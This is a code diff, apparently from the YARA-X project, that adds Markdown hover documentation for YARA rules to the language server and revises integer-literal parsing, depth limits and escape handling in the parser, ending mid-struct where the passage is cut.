b/ls/src/utils/rule_documentation.rs @@ -0,0 +1,439 @@ +use async_lsp::lsp_types::{MarkupContent, MarkupKind}; +use itertools::Itertools; +use yara_x_parser::cst::{Immutable, Node, SyntaxKind, Token}; + +use crate::{ + configuration::DocumentationConfiguration, + utils::cst_traversal::{ + pattern_from_string, rule_containing_token, rule_ident, + }, +}; + +macro_rules! code_block { + ($code:expr) => { + format!("```\n{}\n```\n", $code) + }; + ($title:expr, $code:expr) => { + format!("{}\n\n```\n{}\n```\n", $title, $code) + }; +} + +/// Removes the base indentation of a CST node from its continuation lines +/// while preserving any nested relative indentation. +fn dedent_node(node: &Node) -> String { + let mut text = node.text().to_string(); + let mut lines = text.lines(); + let Some(first) = lines.next() else { + return String::new(); + }; + + if lines.clone().next().is_none() { + let len = first.len(); + text.truncate(len); + return text; + } + + let min_continuation_indent = lines + .clone() + .filter(|line| !line.trim_ascii().is_empty()) + .map(|line| { + line.chars().take_while(|c| matches!(c, ' ' | '\t')).count() + }) + .min() + .unwrap_or(0); + + let first_line_indent = node.first_token().and_then(|first_tok| { + match first_tok.prev_token() { + Some(tok) + if tok.kind() == SyntaxKind::WHITESPACE + && tok.prev_token().is_none_or(|prev| { + prev.kind() == SyntaxKind::NEWLINE + }) => + { + Some(tok.text().len()) + } + Some(tok) if tok.kind() == SyntaxKind::NEWLINE => Some(0), + None => Some(0), + _ => None, + } + }); + + let strip_indent = first_line_indent + .map_or(min_continuation_indent, |indent| { + indent.min(min_continuation_indent) + }); + + std::iter::once(first) + .chain(lines.map(|line| { + if line.trim_ascii().is_empty() { + "" + } else { + &line[strip_indent..] + } + })) + .join("\n") +} + +/// Builder for the Markdown representation of a rule and its patterns. +pub(crate) struct RuleDocumentationBuilder { + rule: Node, +} + +impl RuleDocumentationBuilder { + /// Creates a new builder for the given `RULE_DECL` node. + pub(crate) fn new(rule: Node) -> Self { + assert_eq!(rule.kind(), SyntaxKind::RULE_DECL); + Self { rule } + } + + /// Creates a new builder for the given token. + /// + /// Returns `None` if the token is not contained in some rule. + pub(crate) fn from_token(token: &Token) -> Option { + rule_containing_token(token).map(Self::new) + } + + /// Creates the Markdown representation of the pattern identified as + /// `name` string. + /// + /// Returns `None` if the rule doesn't declare such pattern. + pub(crate) fn pattern_single_markdown( + &self, + name: &str, + ) -> Option { + let pattern = pattern_from_string(&self.rule, name)?; + + Some(Self::pattern_node_markdown(&pattern)) + } + + #[inline] + pub(crate) fn pattern_node_markdown( + pattern: &Node, + ) -> MarkupContent { + MarkupContent { + kind: MarkupKind::Markdown, + value: code_block!("Pattern value is:", dedent_node(pattern)), + } + } + + /// Creates the Markdown representation of the rule. + pub(crate) fn rule_markdown( + &self, + configuration: &DocumentationConfiguration, + ) -> MarkupContent { + let ident = rule_ident(&self.rule); + let name = + ident.as_ref().map(|token| token.text()).unwrap_or_default(); + + let mut markdown = format!("## rule `{name}`\n"); + + if let Some(block) = self.meta_block_markdown() { + markdown.push_str(&block); + } + + if configuration.show_rule_strings_block + && let Some(block) = self.pattern_block_markdown() + { + markdown.push_str(&block); + } + + if configuration.show_rule_condition_block + && let Some(block) = self.condition_block_markdown() + { + markdown.push_str(&block); + } + + MarkupContent { kind: MarkupKind::Markdown, value: markdown } + } + + /// Creates the Markdown representation of the rule's meta block. + /// + /// Returns `None` if the rule does not contain the meta block. + fn meta_block_markdown(&self) -> Option { + let metas = self + .rule + .children() + .find(|node| node.kind() == SyntaxKind::META_BLK)? + // All children in META_BLK should be META_DEF. + .children() + .filter(|node| node.kind() == SyntaxKind::META_DEF) + .map(|node| node.text()) + .join("\n"); + + (!metas.is_empty()).then(|| code_block!(metas)) + } + + /// Creates the Markdown representation of the rule's pattern block, + /// with all the patterns it declares, one per line. + /// + /// Returns `None` if the rule does not contain the pattern block. + fn pattern_block_markdown(&self) -> Option { + let patterns = self + .rule + .children() + .find(|node| node.kind() == SyntaxKind::PATTERNS_BLK)? + // All children in PATTERNS_BLK should be PATTERN_DEF. + .children() + .filter(|node| node.kind() == SyntaxKind::PATTERN_DEF) + .map(|node| dedent_node(&node)) + .join("\n"); + + (!patterns.is_empty()).then(|| code_block!("### strings:", patterns)) + } + + /// Creates the Markdown representation of the rule's condition. + /// + /// Returns `None` if it failed to find the condition block. + fn condition_block_markdown(&self) -> Option { + let boolean_expr = self + .rule + .children() + .find(|node| node.kind() == SyntaxKind::CONDITION_BLK)? + .children() + .find(|node| node.kind() == SyntaxKind::BOOLEAN_EXPR)?; + + Some(code_block!("### condition:", dedent_node(&boolean_expr))) + } +} + +#[cfg(test)] +mod tests { + use yara_x_parser::cst::{CST, Utf8}; + + use super::*; + + const RULE: &str = r#"rule test { + meta: + author = "me" + date = "2026-10-06" + strings: + $a = "foo" + $b = { 01 02 } + condition: + $a and $b +}"#; + + fn builder_for(rule: &str) -> RuleDocumentationBuilder { + let cst = CST::from(rule); + let rule = cst + .root() + .children() + .find(|node| node.kind() == SyntaxKind::RULE_DECL) + .expect("rule node"); + RuleDocumentationBuilder::new(rule) + } + + fn config(strings: bool, condition: bool) -> DocumentationConfiguration { + DocumentationConfiguration { + show_rule_strings_block: strings, + show_rule_condition_block: condition, + } + } + + fn markdown( + builder: &RuleDocumentationBuilder, + strings: bool, + condition: bool, + ) -> String { + builder.rule_markdown(&config(strings, condition)).value + } + + #[test] + fn test_rule_markdown_config_permutations() { + assert_eq!( + markdown(&builder_for(RULE), false, false), + concat!( + "## rule `test`\n", + "```\n", + "author = \"me\"\n", + "date = \"2026-10-06\"\n", + "```\n", + ) + ); + + assert_eq!( + markdown(&builder_for(RULE), true, false), + concat!( + "## rule `test`\n", + "```\n", + "author = \"me\"\n", + "date = \"2026-10-06\"\n", + "```\n", + "### strings:\n", + "\n", + "```\n", + "$a = \"foo\"\n", + "$b = { 01 02 }\n", + "```\n", + ) + ); + + assert_eq!( + markdown(&builder_for(RULE), false, true), + concat!( + "## rule `test`\n", + "```\n", + "author = \"me\"\n", + "date = \"2026-10-06\"\n", + "```\n", + "### condition:\n", + "\n", + "```\n", + "$a and $b\n", + "```\n", + ) + ); + + assert_eq!( + markdown(&builder_for(RULE), true, true), + concat!( + "## rule `test`\n", + "```\n", + "author = \"me\"\n", + "date = \"2026-10-06\"\n", + "```\n", + "### strings:\n", + "\n", + "```\n", + "$a = \"foo\"\n", + "$b = { 01 02 }\n", + "```\n", + "### condition:\n", + "\n", + "```\n", + "$a and $b\n", + "```\n", + ) + ); + } + + #[test] + fn test_rule_markdown_without_meta_block() { + let builder = builder_for("rule test { condition: true }"); + + // No meta nor strings blocks; only the condition is rendered. + assert_eq!( + markdown(&builder, true, true), + concat!( + "## rule `test`\n", + "### condition:\n", + "\n", + "```\n", + "true\n", + "```\n", + ) + ); + } + + #[test] + fn test_rule_markdown_multiline_nested_condition() { + let rule = r#"rule nested { + condition: + for any i in (1..10) : ( + i > 5 and + i < 8 + ) +}"#; + let builder = builder_for(rule); + + assert_eq!( + markdown(&builder, false, true), + concat!( + "## rule `nested`\n", + "### condition:\n", + "\n", + "```\n", + "for any i in (1..10) : (\n", + " i > 5 and\n", + " i < 8\n", + ")\n", + "```\n", + ) + ); + } + + #[test] + fn test_pattern_single_markdown() { + let builder = builder_for(RULE); + + let markdown = + builder.pattern_single_markdown("$a").expect("pattern $a found"); + + assert_eq!( + markdown.value, + "Pattern value is:\n\n```\n$a = \"foo\"\n```\n" + ); + + // The lookup ignores the sigil, so #a, @a and !a all match $a. + for name in ["#a", "@a", "!a"] { + let markdown = + builder.pattern_single_markdown(name).expect("matches $a"); + assert!(markdown.value.contains("$a = \"foo\"")); + } + } + + #[test] + fn test_pattern_single_markdown_not_found() { + let builder = builder_for(RULE); + + assert!(builder.pattern_single_markdown("$c").is_none()); + // Names shorter than two characters (sigil + identifier), names + // without a valid sigil, or multi-byte UTF-8 prefixes can never match. + assert!(builder.pattern_single_markdown("").is_none()); + assert!(builder.pattern_single_markdown("$").is_none()); + assert!(builder.pattern_single_markdown("aa").is_none()); + assert!(builder.pattern_single_markdown("ä").is_none()); + assert!(builder.pattern_single_markdown("äa").is_none()); + } + + #[test] + fn test_pattern_node_markdown() { + let builder = builder_for(RULE); + let pattern = builder + .rule + .children() + .find(|node| node.kind() == SyntaxKind::PATTERNS_BLK) + .expect("patterns block") + .children() + .find(|node| node.kind() == SyntaxKind::PATTERN_DEF) + .expect("pattern def"); + + let markdown = + RuleDocumentationBuilder::pattern_node_markdown(&pattern); + + assert_eq!(markdown.kind, MarkupKind::Markdown); + assert_eq!( + markdown.value, + "Pattern value is:\n\n```\n$a = \"foo\"\n```\n" + ); + } + + #[test] + fn test_from_token_inside_rule() { + let cst = CST::from(RULE); + // The token at line 0, column 6 is the rule identifier. + let token = cst + .root() + .token_at_position::((0, 6)) + .expect("token found"); + + let builder = + RuleDocumentationBuilder::from_token(&token).expect("in rule"); + let value = markdown(&builder, false, false); + assert!(value.starts_with("## rule `test`\n")); + } + + #[test] + fn test_from_token_outside_rule() { + let cst = + CST::from("include \"other.yar\"\nrule t { condition: true }"); + // The token at line 0, column 1 belongs to the include statement, + // which is outside any rule. + let token = cst + .root() + .token_at_position::((0, 1)) + .expect("token found"); + + assert!(RuleDocumentationBuilder::from_token(&token).is_none()); + } +} diff --git a/macros/Cargo.toml b/macros/Cargo.toml index ddba513ee..b9a45039f 100644 --- a/macros/Cargo.toml +++ b/macros/Cargo.toml @@ -12,7 +12,7 @@ rust-version.workspace = true proc-macro = true [dependencies] -darling = "0.23.0" -syn = { version = "2.0.117", features = ["full", "derive", "parsing", "visit"] } -quote = "1.0" -proc-macro2 = "1.0.106" \ No newline at end of file +darling = "0.24.0" +syn = { version = "3.0.3", features = ["full", "derive", "parsing", "visit"] } +quote = "1.0.47" +proc-macro2 = "1.0.107" \ No newline at end of file diff --git a/macros/src/wasm_export.rs b/macros/src/wasm_export.rs index 1a9574ef9..6d5013d5e 100644 --- a/macros/src/wasm_export.rs +++ b/macros/src/wasm_export.rs @@ -71,29 +71,22 @@ impl<'ast> FuncSignatureParser<'ast> { type_path: &TypePath, ) -> Result> { match Self::type_ident(type_path).to_string().as_str() { - "i32" | "i64" => Ok(Cow::Borrowed("i")), + "i8" => Ok(Cow::Borrowed("i8")), + "i16" => Ok(Cow::Borrowed("i16")), + "i32" => Ok(Cow::Borrowed("i32")), + "i64" => Ok(Cow::Borrowed("i64")), + "u8" => Ok(Cow::Borrowed("u8")), + "u16" => Ok(Cow::Borrowed("u16")), + "u32" => Ok(Cow::Borrowed("u32")), + "u64" => Ok(Cow::Borrowed("u64")), "f32" | "f64" => Ok(Cow::Borrowed("f")), "bool" => Ok(Cow::Borrowed("b")), - "PatternId" | "RuleId" => Ok(Cow::Borrowed("i")), + "PatternId" | "RuleId" => Ok(Cow::Borrowed("i64")), "RegexId" => Ok(Cow::Borrowed("r")), - "Rc" => Ok(Cow::Borrowed("i")), - "RuntimeObjectHandle" => Ok(Cow::Borrowed("i")), + "Rc" => Ok(Cow::Borrowed("i64")), + "RuntimeObjectHandle" => Ok(Cow::Borrowed("i64")), "RuntimeString" => Ok(Cow::Borrowed("s")), - "RangedInteger" => { - let error_msg = "RangedInteger must have MIN and MAX arguments (i.e: RangedInteger<0,256>)"; - let args = Self::type_args_as_integers(type_path, error_msg)?; - - let min = args - .first() - .ok_or_else(|| Error::new_spanned(type_path, error_msg))?; - - let max = args - .get(1) - .ok_or_else(|| Error::new_spanned(type_path, error_msg))?; - - Ok(Cow::Owned(format!("i:R{min:?}:{max:?}"))) - } "FixedLenString" => { let error_msg = "FixedLenString must have a constant length (i.e: FixedLenString<32>)"; let args = Self::type_args_as_integers(type_path, error_msg)?; @@ -435,19 +428,19 @@ mod tests { fn foo(caller: &mut Caller<'_, ScanContext>) -> i32 { 0 } }; - assert_eq!(parser.parse(&func).unwrap(), "@@i"); + assert_eq!(parser.parse(&func).unwrap(), "@@i32"); let func = parse_quote! { fn foo(caller: &mut Caller<'_, ScanContext>) -> (i32, i32) { (0,0) } }; - assert_eq!(parser.parse(&func).unwrap(), "@@ii"); + assert_eq!(parser.parse(&func).unwrap(), "@@i32i32"); let func = parse_quote! { fn foo(caller: &mut Caller<'_, ScanContext>, a: i32, b: i32) -> i32 { a + b } }; - assert_eq!(parser.parse(&func).unwrap(), "@a:i,b:i@i"); + assert_eq!(parser.parse(&func).unwrap(), "@a:i32,b:i32@i32"); let func = parse_quote! { fn foo(caller: &mut Caller<'_, ScanContext>) -> Option<()> { None } @@ -459,19 +452,19 @@ mod tests { fn foo(caller: &mut Caller<'_, ScanContext>) -> Option { None } }; - assert_eq!(parser.parse(&func).unwrap(), "@@iu"); + assert_eq!(parser.parse(&func).unwrap(), "@@i64u"); let func = parse_quote! { - fn foo(caller: &mut Caller<'_, ScanContext>) -> Option { None } + fn foo(caller: &mut Caller<'_, ScanContext>) -> Option { None } }; - assert_eq!(parser.parse(&func).unwrap(), "@@iu"); + assert_eq!(parser.parse(&func).unwrap(), "@@u8u"); let func = parse_quote! { fn foo(caller: &mut Caller<'_, ScanContext>) -> Option<(i64, f64)> { None } }; - assert_eq!(parser.parse(&func).unwrap(), "@@ifu"); + assert_eq!(parser.parse(&func).unwrap(), "@@i64fu"); let func = parse_quote! { fn foo(caller: &mut Caller<'_, ScanContext>) { } @@ -483,7 +476,7 @@ mod tests { fn foo(caller: &mut Caller<'_, ScanContext>) -> (i64, RuntimeString) { } }; - assert_eq!(parser.parse(&func).unwrap(), "@@is"); + assert_eq!(parser.parse(&func).unwrap(), "@@i64s"); let func = parse_quote! { fn foo(caller: &mut Caller<'_, ScanContext>) -> Lowercase { } diff --git a/parser/Cargo.toml b/parser/Cargo.toml index adbcb4457..28982ae62 100644 --- a/parser/Cargo.toml +++ b/parser/Cargo.toml @@ -37,8 +37,8 @@ num-traits = { workspace = true } rustc-hash = { workspace = true } serde = { workspace = true, features = ["derive"], optional = true } -logos = "0.15.1" -rowan = "0.16.1" +logos = "0.16.1" +rowan = "0.17.0" [dev-dependencies] anyhow = { workspace = true } diff --git a/parser/src/ast/cst2ast.rs b/parser/src/ast/cst2ast.rs index bb65559bb..cc43688a0 100644 --- a/parser/src/ast/cst2ast.rs +++ b/parser/src/ast/cst2ast.rs @@ -36,7 +36,6 @@ where source: &'src [u8], events: Peekable, errors: Vec, - depth: usize, } impl<'src, I> Builder<'src, I> @@ -44,12 +43,7 @@ where I: Iterator, { pub fn new(src: &'src [u8], events: I) -> Self { - Self { - source: src, - events: events.peekable(), - errors: Vec::new(), - depth: 0, - } + Self { source: src, events: events.peekable(), errors: Vec::new() } } pub fn build_ast(mut self) -> AST<'src> { @@ -67,16 +61,19 @@ where // import statement, or include statement. The `recover` // function discards everything until finding the next // valid item. - Err(BuilderError::Abort) => self.recover(), - Err(BuilderError::MaxDepthReached) => {} + Err( + BuilderError::Abort | BuilderError::MaxDepthReached, + ) => self.recover(), }, Event::Begin { kind: IMPORT_STMT, .. } => { match self.import_stmt() { Ok(import) => items.push(Item::Import(import)), // If `import_stmt` returns an error the import is ignored, // but we try to continue at the next valid item. - Err(BuilderError::Abort) => self.recover(), - Err(BuilderError::MaxDepthReached) => {} + Err( + BuilderError::Abort + | BuilderError::MaxDepthReached, + ) => self.recover(), } } Event::Begin { kind: INCLUDE_STMT, .. } => { @@ -84,8 +81,10 @@ where Ok(include) => items.push(Item::Include(include)), // If `include_stmt` returns an error the include is ignored, // but we try to continue at the next valid item. - Err(BuilderError::Abort) => self.recover(), - Err(BuilderError::MaxDepthReached) => {} + Err( + BuilderError::Abort + | BuilderError::MaxDepthReached, + ) => self.recover(), } } Event::End { kind: SOURCE_FILE, .. } => break, @@ -104,8 +103,6 @@ where } } - assert_eq!(self.depth, 0); - AST { items, errors: self.errors } } } @@ -145,20 +142,43 @@ macro_rules! new_n_ary_expr { operands.add($rhs); $lhs } - _ => $variant(Box::new(NAryExpr { operands: vec![$lhs, $rhs] })), + _ => $variant(Box::new(NAryExpr::new($lhs, $rhs))), } }}; } macro_rules! new_binary_expr { - ($variant:path, $lhs:ident, $rhs:ident) => {{ $variant(Box::new(BinaryExpr { lhs: $lhs, rhs: $rhs })) }}; + ($variant:path, $lhs:ident, $rhs:ident) => {{ $variant(Box::new(BinaryExpr::new($lhs, $rhs))) }}; } impl<'src, I> Builder<'src, I> where I: Iterator, { - const MAX_AST_DEPTH: usize = 3000; + const MAX_AST_DEPTH: usize = crate::parser::MAX_CST_DEPTH; + + /// Checks that the depth of `expr` does not exceed [`Self::MAX_AST_DEPTH`]. + fn check_ast_depth(&mut self, expr: &Expr) -> Result<(), BuilderError> { + let mut depth = 0; + for event in dfs::DFSIter::new(expr) { + match event { + dfs::DFSEvent::Enter(node) => { + depth += 1; + if depth > Self::MAX_AST_DEPTH { + self.errors.push(Error::SyntaxError { + message: "nesting limit reached".to_string(), + span: node.span(), + }); + return Err(BuilderError::MaxDepthReached); + } + } + dfs::DFSEvent::Leave(_) => { + depth -= 1; + } + } + } + Ok(()) + } /// Consumes all events until finding the start of a rule, an import /// statement, an include statement, or the end of the file. @@ -180,7 +200,6 @@ where } } } - self.depth = 0; } /// Consumes errors, whitespaces, newlines and comments, until finding @@ -255,13 +274,7 @@ where fn begin(&mut self, kind: SyntaxKind) -> Result<(), BuilderError> { match self.next()? { - Event::Begin { kind: k, .. } if k == kind => { - if self.depth == Self::MAX_AST_DEPTH { - return Err(BuilderError::MaxDepthReached); - } - self.depth += 1; - Ok(()) - } + Event::Begin { kind: k, .. } if k == kind => Ok(()), _ => Err(BuilderError::Abort), } } @@ -272,7 +285,6 @@ where matches!(next, Event::End{kind: k, ..} if k == kind), "expecting End {{ kind: {kind:?} }}, found {next:?}", ); - self.depth = self.depth.saturating_sub(1); Ok(()) } @@ -527,6 +539,7 @@ where self.expect(COLON)?; let condition = self.boolean_expr()?; + self.check_ast_depth(&condition)?; self.end(CONDITION_BLK)?; self.expect(R_BRACE)?; @@ -636,15 +649,22 @@ where match self.string_lit(true)? { // If the result is a string borrowed directly from the // source code, we can be sure that it's a valid UTF-8 - // string. - (Cow::Borrowed(s), _lit, span) => MetaValue::String(( - unsafe { s.to_str_unchecked() }, - span, - )), + // string. However, if it contains literal null bytes we + // still treat it as `MetaValue::Bytes` (just like `\0` or + // `\x00`) so C-API consumers receive `YRX_BYTES` instead + // of a truncated or invalid C string. + (Cow::Borrowed(s), _lit, span) if !s.contains(&0) => { + MetaValue::String(( + unsafe { s.to_str_unchecked() }, + span, + )) + } // If the result is an owned string is because it contains // some escaped character, this string is not guaranteed // to be a valid UTF-8 string. - (Cow::Owned(s), _lit, span) => MetaValue::Bytes((s, span)), + (s, _lit, span) => { + MetaValue::Bytes((s.into_owned(), span)) + } } } Event::Token { kind: TRUE_KW, .. } => { @@ -1333,11 +1353,13 @@ where })) } Event::Token { kind: INTEGER_LIT, .. } => { - let (value, literal, span) = self.integer_lit()?; + let ((value, is_unsigned), literal, span) = + self.signed_or_unsigned_integer_lit()?; Expr::LiteralInteger(Box::new(LiteralInteger { span, literal, value, + is_unsigned, })) } Event::Token { kind: STRING_LIT, .. } => { @@ -1450,14 +1472,46 @@ where // is positive and not parenthesized. This avoids cases like // `--1` (which would become `--1`) or `-(1)` (which would // become `-(1`). + // + // `-9223372036854775808` is also merged into a single + // literal. This is a valid `i64` (i64::MIN), but + // `9223372036854775808` alone doesn't fit in an `i64`, + // so it was parsed as an unsigned integer. Any other + // unsigned integer preceded by a minus sign produces a + // negative number that doesn't fit in an `i64`, like + // `-9223372036854775809`, which is an error. Expr::LiteralInteger(mut integer) - if integer.value.is_positive() - && !literal.contains('(') => + if !literal.contains('(') => { - integer.value = -integer.value; - integer.literal = literal; - integer.span = span; - Expr::LiteralInteger(integer) + if !integer.is_unsigned && integer.value.is_positive() + { + integer.value = -integer.value; + integer.literal = literal; + integer.span = span; + Expr::LiteralInteger(integer) + } else if integer.is_unsigned + && integer.value == i64::MIN + { + integer.is_unsigned = false; + integer.literal = literal; + integer.span = span; + Expr::LiteralInteger(integer) + } else if integer.is_unsigned { + self.errors.push(Error::InvalidInteger { + message: format!( + "this number is out of the valid range: [{}, {}]", + i64::MIN, + u64::MAX + ), + span, + }); + return Err(BuilderError::Abort); + } else { + Expr::Minus(Box::new(UnaryExpr { + span, + operand: Expr::LiteralInteger(integer), + })) + } } _ => Expr::Minus(Box::new(UnaryExpr { span, operand })), } @@ -1488,8 +1542,8 @@ where .coalesce(|x, y| match (x, y) { // Two consecutive identifiers, this is a field access. (left @ Expr::Ident(_), right @ Expr::Ident(_)) => { - Ok(Expr::FieldAccess(Box::new(NAryExpr::from( - vec![left, right], + Ok(Expr::FieldAccess(Box::new(NAryExpr::new( + left, right, )))) } // A field access followed by some identifier, add the @@ -1498,7 +1552,7 @@ where Expr::FieldAccess(mut field_access), ident @ Expr::Ident(_), ) => { - field_access.operands.push(ident); + field_access.add(ident); Ok(Expr::FieldAccess(field_access)) } // A field access followed by a function call, the @@ -1523,7 +1577,7 @@ where (ident @ Expr::Ident(_), Expr::Lookup(mut lookup)) => { lookup.span = ident.span().combine(&lookup.span); lookup.primary = Expr::FieldAccess(Box::new( - NAryExpr::from(vec![ident, lookup.primary]), + NAryExpr::new(ident, lookup.primary), )); Ok(Expr::Lookup(lookup)) } @@ -1532,7 +1586,7 @@ where Expr::FieldAccess(mut fa), Expr::Lookup(mut lookup), ) => { - fa.operands.push(lookup.primary); + fa.add(lookup.primary); lookup.span = fa.span().combine(&lookup.span); lookup.primary = Expr::FieldAccess(fa); Ok(Expr::Lookup(lookup)) @@ -1604,19 +1658,71 @@ where T: Num + Bounded + CheckedMul + FromPrimitive + std::fmt::Display, { let span = self.expect(INTEGER_LIT)?; - let mut literal = self.get_source_str(&span)?; - let mut multiplier = 1; + let literal = self.get_source_str(&span)?; - if let Some(without_suffix) = literal.strip_suffix("KB") { - literal = without_suffix; - multiplier = 1024; + match Self::parse_integer::(literal) { + Some(value) => { + Ok((value, Self::strip_size_suffix(literal).0, span)) + } + None => { + self.errors.push(Error::InvalidInteger { + message: format!( + "this number is out of the valid range: [{}, {}]", + T::min_value(), + T::max_value() + ), + span, + }); + Err(BuilderError::Abort) + } } + } - if let Some(without_suffix) = literal.strip_suffix("MB") { - literal = without_suffix; - multiplier = 1024 * 1024; + /// Parses an integer literal that can be either an `i64` or an `u64`. + /// + /// Literals that fit in an `i64` are signed. Literals that don't fit in + /// an `i64`, but fit in an `u64`, are unsigned. In the latter case the + /// returned value is the bit pattern of the `u64`, and the returned + /// boolean is `true`. + fn signed_or_unsigned_integer_lit( + &mut self, + ) -> Result<((i64, bool), &'src str, Span), BuilderError> { + let span = self.expect(INTEGER_LIT)?; + let literal = self.get_source_str(&span)?; + + let value = Self::parse_integer::(literal) + .map(|v| (v, false)) + .or_else(|| { + Self::parse_integer::(literal).map(|v| (v as i64, true)) + }); + + if let Some(value) = value { + return Ok((value, Self::strip_size_suffix(literal).0, span)); } + self.errors.push(Error::InvalidInteger { + message: format!( + "this number is out of the valid range: [{}, {}]", + i64::MIN, + u64::MAX + ), + span, + }); + + Err(BuilderError::Abort) + } + + /// Parses the value of an integer literal, returning [`None`] if the + /// value doesn't fit in type `T`. + /// + /// The grammar guarantees that the literal is a valid integer, so the + /// only possible error is that the value doesn't fit in type `T`. + fn parse_integer(literal: &str) -> Option + where + T: Num + CheckedMul + FromPrimitive, + { + let (literal, multiplier) = Self::strip_size_suffix(literal); + let literal_no_underscores = literal.replace('_', ""); let value = if literal_no_underscores.as_str().starts_with("0x") { T::from_str_radix( @@ -1632,38 +1738,26 @@ where T::from_str_radix(literal_no_underscores.as_str(), 10) }; - let build_error = |span: &Span| Error::InvalidInteger { - message: format!( - "this number is out of the valid range: [{}, {}]", - T::min_value(), - T::max_value() - ), - span: span.clone(), - }; - - // Report errors that occur while parsing the literal. Some errors - // (like invalid characters or empty literals) never occur, because - // the grammar ensures that only valid integers reach this point, - // however the grammar doesn't make sure that the integer fits in - // type T. - let value = value.map_err(|_| { - self.errors.push(build_error(&span)); - BuilderError::Abort - })?; - - // The multiplier may not fit in type T. - let multiplier = T::from_i32(multiplier).ok_or_else(|| { - self.errors.push(build_error(&span)); - BuilderError::Abort - })?; - - // The value after applying the multiplier may not fit in type T. - let value = value.checked_mul(&multiplier).ok_or_else(|| { - self.errors.push(build_error(&span)); - BuilderError::Abort - })?; + // Some errors (like invalid characters or empty literals) never + // occur, because the grammar ensures that only valid integers reach + // this point, however the grammar doesn't make sure that the integer + // fits in type T. Neither the multiplier, nor the value after + // applying the multiplier, are guaranteed to fit in type T. + value.ok()?.checked_mul(&T::from_i32(multiplier)?) + } - Ok((value, literal, span)) + /// Removes the `KB` or `MB` suffix from an integer literal, if present. + /// + /// Returns the literal without the suffix, and the multiplier + /// corresponding to the suffix. + fn strip_size_suffix(literal: &str) -> (&str, i32) { + if let Some(without_suffix) = literal.strip_suffix("KB") { + (without_suffix, 1024) + } else if let Some(without_suffix) = literal.strip_suffix("MB") { + (without_suffix, 1024 * 1024) + } else { + (literal, 1) + } } fn float_lit(&mut self) -> Result<(f64, &'src str, Span), BuilderError> { @@ -1766,7 +1860,8 @@ where let span = self.expect(STRING_LIT)?; let literal = self.get_source_str(&span)?; - let num_quotes = if literal.starts_with("\"\"\"") { + let num_quotes = if literal.len() >= 6 && literal.starts_with("\"\"\"") + { debug_assert!(literal.starts_with("\"\"\"")); debug_assert!(literal.ends_with("\"\"\"")); 3 @@ -1809,14 +1904,18 @@ where match b { // The backslash indicates an escape sequence. '\\' => { - // Consume the backslash and see what's next. A character must - // follow the backslash, this is guaranteed by the grammar - // itself. - let escaped_char = if let Some(x) = chars.next() { - x - } else { - // - panic!() + // Consume the backslash and see what's next. Grammar tokens + // always include an escaped character, but synthetic CST + // streams might end with a bare `\`. + let Some(escaped_char) = chars.next() else { + self.errors.push(Error::InvalidEscapeSequence { + message: "incomplete escape sequence".to_string(), + span: string_span.subspan( + first_backslash + backslash, + first_backslash + backslash + 1, + ), + }); + return Err(BuilderError::Abort); }; match escaped_char.1 { @@ -1845,14 +1944,20 @@ where _ => { let (escaped_char_pos, _) = escaped_char; + // Compute offsets directly from `string_span` + // instead of `string_span.offset(...)`, which + // would add `first_backslash` to `string_span.end` + // and overflow `u32` on large string literals. self.errors .push(Error::InvalidEscapeSequence { message: r"expecting two hex digits after `\x`" .to_string(), - span: string_span.offset(first_backslash as isize).subspan( - backslash, - escaped_char_pos + 1, + span: string_span.subspan( + first_backslash + backslash, + first_backslash + + escaped_char_pos + + 1, ), }); @@ -1873,9 +1978,10 @@ where &remaining [backslash..escaped_char_end_pos] ), - span: string_span - .offset(first_backslash as isize) - .subspan(backslash, escaped_char_end_pos), + span: string_span.subspan( + first_backslash + backslash, + first_backslash + escaped_char_end_pos, + ), }); return Err(BuilderError::Abort); diff --git a/parser/src/ast/mod.rs b/parser/src/ast/mod.rs index 624d0b6c4..4d3a160e0 100644 --- a/parser/src/ast/mod.rs +++ b/parser/src/ast/mod.rs @@ -691,6 +691,82 @@ pub enum Expr<'src> { With(Box>), } +impl<'src> Expr<'src> { + /// Returns an iterator over the child sub-expressions of this expression. + pub fn children(&self) -> Box> + '_> { + match self { + Expr::Defined(unary) + | Expr::Not(unary) + | Expr::Minus(unary) + | Expr::BitwiseNot(unary) => { + Box::new(std::iter::once(&unary.operand)) + } + + Expr::Shl(binary) + | Expr::Shr(binary) + | Expr::BitwiseAnd(binary) + | Expr::BitwiseOr(binary) + | Expr::BitwiseXor(binary) + | Expr::Eq(binary) + | Expr::Ne(binary) + | Expr::Lt(binary) + | Expr::Gt(binary) + | Expr::Le(binary) + | Expr::Ge(binary) + | Expr::Contains(binary) + | Expr::IContains(binary) + | Expr::StartsWith(binary) + | Expr::IStartsWith(binary) + | Expr::EndsWith(binary) + | Expr::IEndsWith(binary) + | Expr::IEquals(binary) + | Expr::Matches(binary) => { + Box::new([&binary.lhs, &binary.rhs].into_iter()) + } + + Expr::Add(nary) + | Expr::Sub(nary) + | Expr::Mul(nary) + | Expr::Div(nary) + | Expr::Mod(nary) + | Expr::FieldAccess(nary) + | Expr::And(nary) + | Expr::Or(nary) => Box::new(nary.operands()), + + Expr::FuncCall(func_call) => Box::new( + func_call + .object + .as_ref() + .into_iter() + .chain(func_call.args.iter()), + ), + + Expr::Lookup(lookup) => { + Box::new([&lookup.primary, &lookup.index].into_iter()) + } + + Expr::ForOf(for_of) => Box::new(std::iter::once(&for_of.body)), + Expr::ForIn(for_in) => Box::new(std::iter::once(&for_in.body)), + Expr::With(with) => Box::new(std::iter::once(&with.body)), + + Expr::True { .. } + | Expr::False { .. } + | Expr::Filesize { .. } + | Expr::Entrypoint { .. } + | Expr::LiteralString(_) + | Expr::LiteralInteger(_) + | Expr::LiteralFloat(_) + | Expr::Regexp(_) + | Expr::Ident(_) + | Expr::PatternMatch(_) + | Expr::PatternCount(_) + | Expr::PatternOffset(_) + | Expr::PatternLength(_) + | Expr::Of(_) => Box::new(std::iter::empty()), + } + } +} + /// A set of modifiers associated to a pattern. #[derive(Debug, Default)] pub struct PatternModifiers<'src> { @@ -964,7 +1040,15 @@ pub struct LiteralInteger<'src> { /// The literal value as it appears in the source code. pub literal: &'src str, /// The value of the integer literal. + /// + /// Literals are signed integers, except when their value doesn't fit in an + /// `i64`, that is, when they are in the range + /// `[0x8000000000000000, 0xFFFFFFFFFFFFFFFF]`. In that case `is_unsigned` + /// is `true` and `value` holds the `i64` with the same bit pattern as the + /// `u64` value. pub value: i64, + /// True if the literal is an unsigned integer. + pub is_unsigned: bool, } /// A literal float (e.g: `2.0`, `3.14`). @@ -1006,19 +1090,34 @@ pub struct UnaryExpr<'src> { /// An expression with two operands. #[derive(Debug)] pub struct BinaryExpr<'src> { + span: Span, /// 